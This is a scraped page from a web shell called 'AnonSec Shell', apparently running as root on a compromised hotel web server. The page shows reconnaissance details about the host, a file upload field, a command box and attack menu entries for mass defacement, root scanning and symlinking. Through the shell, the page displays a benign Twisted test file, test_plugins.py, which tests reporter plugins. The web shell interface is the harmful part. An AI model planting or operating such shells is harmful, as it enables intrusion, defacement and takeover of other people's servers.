AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/lib/python3/dist-packages/twisted/trial/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/lib/python3/dist-packages/twisted/trial/test/test_plugins.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
#
# Maintainer: Jonathan Lange

"""
Tests for L{twisted.plugins.twisted_trial}.
"""

from twisted.plugin import getPlugins
from twisted.trial import unittest
from twisted.trial.itrial import IReporter


class PluginsTests(unittest.SynchronousTestCase):
    """
    Tests for Trial's reporter plugins.
    """

    def getPluginsByLongOption(self, longOption):
        """
        Return the Trial reporter plugin with the given long option.

        If more than one is found, raise ValueError. If none are found, raise
        IndexError.
        """
        plugins = [
            plugin for plugin in getPlugins(IReporter) if plugin.longOpt == longOption
        ]
        if len(plugins) > 1:
            raise ValueError(
                "More than one plugin found with long option %r: %r"
                % (longOption, plugins)
            )
        return plugins[0]

    def test_subunitPlugin(self):
        """
        One of the reporter plugins is the subunit reporter plugin.
        """
        subunitPlugin = self.getPluginsByLongOption("subunit")
        self.assertEqual("Subunit Reporter", subunitPlugin.name)
        self.assertEqual("twisted.trial.reporter", subunitPlugin.module)
        self.assertEqual("subunit", subunitPlugin.longOpt)
        self.assertIdentical(None, subunitPlugin.shortOpt)
        self.assertEqual("SubunitReporter", subunitPlugin.klass)

Anon7 - 2022
AnonSec Team